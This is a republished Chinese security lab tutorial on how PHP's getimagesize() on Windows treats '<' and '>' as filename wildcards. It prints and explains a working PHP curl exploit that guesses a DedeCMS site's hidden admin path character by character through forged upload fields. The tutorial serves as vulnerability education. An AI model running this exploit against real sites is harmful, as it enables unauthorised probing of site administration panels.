【最新实验】文件判断函数的安全风险

news/2025/6/19 18:19:53

文件判断函数的安全风险

PHP是以C语言为底层语言的通用开源脚本语言,支持几乎所有流行的数据库以及操作系统,执行效率比完全生成HTML标记的CGI要高许多,主要适用于Web开发领域。最重要的是PHP可以用C、C++进行程序的扩展!

所有文件操作函数都属于敏感函数,当此类函数使用不当或者不安全引用,就会导致业务逻辑上出现问题,会导致诸多安全隐患的发生,例如:任意文件下载、任意文件写入、任意文件删除等漏洞。

以下给大家生动地讲解了文件判断函数getimagesiz可能造成的问题,并引用dedecms目录猜解实例,讲述PHP在不安全的情况下引用此类函数时造成的危害。

希望老铁们通过这一波操作,了解漏洞形成原理和类似文件判断函数带来的风险,在实验环境里亲自体验一把更带感哦,跟我来开启吧!>>>>>文件函数实验传送门

动手实验的目标:

  • 认识常见的PHP函数
  • 了解PHP文件判断函数风险
  • 了解文件操作可能带来的业务逻辑漏洞

所需工具:

  • Hackbar: Hackbar是Firefox火狐浏览器中的插件,该工具栏将帮助您测试sql注入,XSS漏洞和网站安全性。其主是帮助开发人员对他的代码进行安全审计。能够快速对字符串进行各种编码。

实战操作内容:

本内容主要介绍PHP部分函数,当在Windows上使用PHP时会调用一个FindFirstFileExW()的底层Windows API函数时会存在一些特性

讲解其中一部分函数不安全使用时带来的漏洞,还将结合使用一个dedecms实例,利用PHPWindows上的特性找到其后台,以方便我们深入理解这些函数可能会带来的危害。

PHP语言某些函数就在Windows系统上拥有了如下奇妙的特性:

大于号(>)相等于通配符问号(?)小于号(<)相当于通配符星号(*)双引号(")相当于点字符(.)

这个特性很早之前就已经被国外的安全研人员发现

在PHP的getimagesize方法中就存在这个特性。

在PHP源码php-src\ext\standard\image.c中有该方法的具体定义:

...
/* {{{ proto array getimagesize(string imagefile [, array info])Get the size of an image as 4-element array */
PHP_FUNCTION(getimagesize)
{php_getimagesize_from_any(INTERNAL_FUNCTION_PARAM_PASSTHRU, FROM_PATH);
}
...

getimagesize方法中调用了php_getimagesize_from_any方法,若使用动态调试来简化整个分析过程,逐层追踪后可发现

getimagesize调用顺序如下:


PHP_FUNCTION(getimagesize)php_getimagesize_from_any...tsrm_realpath_rFindFirstFileExW

本实验动态调试不做重点说明,详细过程请参考以下链接: https://xianzhi.aliyun.com/forum/topic/2004

最终可以看见PHP的getimagesize方法最终调用了Windows API里的FindFirstFileExW()

事实上,由于PHP在语言层面并没有过滤、禁止对<>这些特殊字符的使用,除getimagesize 函数外,任何调用该Windows API方法的文件判断函数都可能存在以上问题



实验内容:

本实验我们将用一个调用了这个winapi的具体实例getimagesize函数讲解,PHP的函数在调用了这个底层winapi的方法时会存在的问题。

还将引用dedecms作为一个高级实例,当不安全引用同样使用该底层winapi的方法的getimagesize这个函数会存在的安全风险。

步骤1 本地验证getimagesize()函数

使用我们实验中搜索工具Everything,找到我们的phpstudy安装环境。安装PHP环境

安装完成之后我们在C:\phpStudy\www目录下新建一个test.php文件验证getimagesize函数的特性,这个路径根据phpStudy安装路径有关,请根据实际情况而定。

接下来我们在C:\phpStudy\www新建一个目录asdasdasd

使用我们实验中提供的文件搜索工具Everything,输入png搜索任意一张图片,这里我们选择1.png,放置在我们新建的asdasdasd目录下

test.php代码如下:

<?php
$a =  $_GET['img'];
exec('pause');  
if(@getimagesize($a)){ echo "ok";  
}else{echo "no";  
}  
?>

准备完成之后,接下来我们访问一下test.php

访问地址http://127.0.0.1/test.php?img=C:\phpStudy\www\a<\1.png

页面返回ok,可见正常路径中原本应该是asdasdasd的目录名,被我们使用a<代替,getimagesize利用该特性成功加载图片文件。

步骤2 dedecms后台地址猜解

下面这个例子我们可以使用本节实验中提供的脚本获取到dedecms的后台地址

这个漏洞发生在getimagesize函数中,而PHP的getimagesize方法最终也是调用了前文中讲到的Windows API里的FindFirstFileExW(),上文中也说明了这里Windows上又对<>"三个字被赋予了不同的含义。

正是这个原因导致了dedecms的后台可被爆破

到这里我们还是先看看漏洞的触发条件

dedecms中的uploadsafe.inc.php中的核心代码如下

...if(in_array(strtolower(trim(${$_key.'_type'})), $imtypes))
{$image_dd = @getimagesize($$_key); if (!is_array($image_dd)){exit('Upload filetype not allow !');}
}
...

此处uploadsafe.inc.php中直接调用了getimagesize方法获取文件的size,获取不到说明不是图片或者图片不存在,不存就exit upload.... ,利用这个逻辑猜目录的前提是目录内有图片格式的文件。

此时在dedecmstags.php中加载了common.inc.php文件

common.inc.php大概148行左右加载了uploadsafe.inc.php

if($_FILES)
{require_once(DEDEINC.'/uploadsafe.inc.php');
}

到此我们可以得到文件引用关系为:tags.php -> common.inc.php -> uploadsafe.inc.php -> getimagesize()

EXP分析与利用

在实验环境中会提供我们在互联网上收集的exp访问我们的工具库http://tools.ichunqiu.com/y688t6z4下载

我们现在把exp中的主要代码分段讲解一下:

...if($path) {while(($path = my_func($url, $path))) {echo strtolower($path) . "\r\n";}
}
else {for($i = 48; $i <= 90; $i++) {if((48 <= $i && $i <= 57) or (65 <= $i && $i <= 90)) {$path = my_func($url, chr($i));while($path) {echo strtolower($path) . "\r\n";$path = my_func($url, $path);}}}
}
...

这里的if((48 <= $i && $i <= 57) or (65 <= $i && $i <= 90))这段代码可以参考ascii码表就可以理解数字具体含义

就是把所有的目录可能会出现的情况0-9a-z,按位带入程序中去穷举匹配

下面的代码是整个exp的核心部分

...function my_func($url, $path = '') {$ch = curl_init($url);$i = 48;global $version;while($i <= 90) {if((48 <= $i && $i <= 57) or (65 <= $i && $i <= 90)) {if($version != '5.7') {/* v5.6版本及其以下 */$admin_path = './' . $path . chr($i) . '</img/admin_top_logo.gif';}else {/* v5.7版本 */$admin_path = './' . $path . chr($i) . '</images/admin_top_logo.gif';}$data = 'dopost=save&_FILES[b4dboy][tmp_name]=' . $admin_path . '&_FILES[b4dboy][name]=0&_FILES[b4dboy][size]=0&_FILES[b4dboy][type]=image/gif';$options = array(CURLOPT_USERAGENT => 'Firefox/58.0',CURLOPT_RETURNTRANSFER => true,CURLOPT_POST => true,CURLOPT_POSTFIELDS => $data,);curl_setopt_array($ch, $options);$response = curl_exec($ch);if(!preg_match('/(Upload filetype not allow !)/i', $response)) {$path = $path . chr($i);return $path;}}$i++;}
...

这个exp就是利用了dedecms在设计时的一个小缺陷,当某个目录中存在一个图片文件时,程序会返回正确,当不存在时程序会抛出异常,提示Upload filetype not allow !

此时在dedecms的前台中可以直接调用getimagesize()方法,这时候我们选取了dedecms的后台目录中的一个已知图片admin_top_logo.gif配合我们进行猜解。具体参见下列代码:

$admin_path = './' . $path . chr($i) . '</img/admin_top_logo.gif';

这样就可以我们前面讲到的通配符<,来进行匹配后台地址,对后台地址逐位穷举,这就是我们这个exp的中心思想。

具体操作如下:

将我们下载的exp.php,放入PHP安装目录中,这里我们放入c:\phpStudy\php53下,这个路径根据phpStudy安装路径和选择的PHP版本有关,请根据实际情况而定。

成功猜解出后台地址。

实验结果分析与总结:

  • 问题的产生的根本原因PHP调用了Windows API里的FindFirstFileExW()/FindFirstFile()方法
  • Windows API方法对于这个三个字符做了特殊的处理
  • 感兴趣的同学还可以根据我们实验的思路发现其他的使用方法及漏洞。

几点思考:

  • PHP还有哪些函数在调用Windows API时会存在新的特性吗?
  • 其他调用这个Windows API的语言会出现这个特性吗?

参考地址:

  • http://wps2015.org/drops/drops/PHP%E6%BC%8F%E6%B4%9E%E6%8C%96%E6%8E%98%E6%80%9D%E8%B7%AF+%E5%AE%9E%E4%BE%8B.html
  • http://www.cnblogs.com/yxhblogs/p/5839800.html
  • https://xianzhi.aliyun.com/forum/topic/2064
  • https://xianzhi.aliyun.com/forum/topic/2004

https://dhexx.cn/news/show-3251710.html

相关文章

【转】论“我”和“我们”

论“我”和“我们” 在之前一篇《爱因斯坦对美国的第一印象》里面&#xff0c;他提到&#xff1a; “相对于欧洲人&#xff0c;美国的个人主义更少…… 许多的重心&#xff0c;放在‘我们’&#xff0c;而不是‘我’…… 所以更加重视习俗和传统。” 这貌似一个褒义的评价&…

大数据系统体系架构(含图示)

目录1 大数据体系架构图2 数据采集层3 数据计算层4 数据服务层5 数据应用层1 大数据体系架构图 2 数据采集层 阿里的的日志采集包括两大体系&#xff1a; Aplus.JS是Web端的日志采集技术方案&#xff0c;UserTrack是APP端的日志采集技术方案&#xff1b;在采集技术基础上&…

Linux网络编程笔记(修订版)

我的网络编程笔记, 因为最近又要做Linux下的网络编程,故重新修订, 其中一些内容参考了文末的链接及文章 1. 基本概念 2. 基本接口 2.1. 打开一个socket 2.2. 将socket绑定定指定的端口—bind 2.3. 侦听socket—listen (服务器端) 2.4. 等待接收请求—accept (服务器…

浏览器的页面日志采集

目录1 概述1.1 页面浏览日志采集1.2 页面交互日志采集2 页面浏览日志采集流程2.1 页面访问过程2.2 日志采集思路2.3 日志采集方案3 页面交互日志采集流程4 页面日志的服务器端清洗和预处理1 概述 浏览器的页面日志采集分两大类&#xff1a;页面浏览日志采集、页面交互日志采集…

无线客户端的日志采集

目录0 概述1 页面事件2 控件点击及其他事件3 特殊场景4 H5 & Native 日志统一5 设备标识6 日志传输0 概述 无线客户端的数据采集&#xff0c;一是为了协助开发者分析各类设备信息&#xff0c;二是为了帮助各APP更好地了解用户在APP上的各类行为&#xff0c;从而优化APP&am…

猫头鹰的深夜翻译:Java Streams

前言 Stream是Java 8中的一个重大新功能。这个深入的教程是流支持的许多功能的介绍&#xff0c;并着重于简单实用的示例。 了解这个之前&#xff0c;你需要有对Java 8有基础的实践性的知识(lambda表达式&#xff0c;方法引用) 介绍 首先&#xff0c;不应该将Java 8 Streams与Ja…

维、维度、维度表和事实表

目录0 来自知乎的一个简单解释1 维2 维度3 维度表4 事实表5 星型模式结构示意图0 来自知乎的一个简单解释 1 维 维是关于一个组织想要记录的视角或观点。 参考: 维的百度百科. 2 维度 维度是对数据进行分析时采取的一个角度。比如分析产品销售情况&#xff0c;可以按类别来…

大数据的概念、特点及应用场景

目录1 概念2 特点3 应用场景1 概念 无法在一定时间范围内用常规软件进行捕捉、管理和处理的数据集合&#xff1b;需要新处理模式才能具有的更强决策力、洞察发现力和流程优化能力进行处理的海量、高增长率和多样化的信息资产&#xff1b; 2 特点 Volume&#xff08;大量&…

搜狗旅行翻译宝3月12日京东首发 支持离线翻译拍照翻译售价1498元

3月12日&#xff0c;搜狗旅行翻译宝在京东平台首发&#xff0c;售价1498元。这款翻译硬件是搜狗公司人工智能落地的战略性产品&#xff0c;专注解决人们在出境交流中的语言障碍问题。搜狗旅行翻译宝结合了搜狗神经网络机器翻译、语音识别、图像识别等多项技术&#xff0c;不仅支…

回溯算法实现全排列的一个小demo(Java)

代码 public class QPL {// 定义输入String[][] input new String[][] {{"1","2","3"},{"a","b","c"},{"A","B","C"}};// 定义临时StringBuilder temp new StringBuilder();// …